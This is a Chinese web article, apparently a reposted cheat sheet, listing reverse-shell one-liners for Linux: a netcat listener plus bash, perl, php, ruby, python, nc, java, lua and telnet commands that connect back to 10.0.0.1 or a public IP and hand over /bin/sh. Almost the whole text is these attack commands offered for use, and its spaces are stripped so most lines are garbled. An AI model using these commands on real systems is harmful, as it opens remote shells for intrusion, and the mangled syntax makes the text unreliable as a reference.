Linux下NC反弹shell命令(推荐)
本机开启监听:
nc-lvnp4444 nc-vvlp4444
目标机器开启反弹
bash版本:
bash-i>&/dev/tcp/10.0.0.1/80800>&1
perl版本:
perl-e'useSocket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-i");};'
php版本:
php-r'$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh-i<&3>&32>&3");'
ruby版本:
ruby-rsocket-e'f=TCPSocket.open("10.0.0.1",1234).to_i;execsprintf("/bin/sh-i<&%d>&%d2>&%d",f,f,f)'
python版本:
python-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc版本:
nc-e/bin/sh10.0.0.11234 rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|nc10.0.0.11234>/tmp/f ncx.x.x.x8888|/bin/sh|ncx.x.x.x9999
java版本:
r=Runtime.getRuntime() p=r.exec(["/bin/bash","-c","exec5<>/dev/tcp/10.0.0.1/2002;cat<&5|whilereadline;do\$line2>&5>&5;done"]asString[]) p.waitFor()
lua版本:
lua-e"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh-i<&3>&32>&3');"
NC版本不使用-e参数:
mknod/tmp/backpipep /bin/sh0/tmp/backpipe /bin/bash-i>/dev/tcp/173.214.173.151/80800<&12>&1 mknodbackpipep&&telnet173.214.173.15180800backpipe
以上所述是小编给大家介绍的Linux下NC反弹shell命令,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对毛票票网站的支持!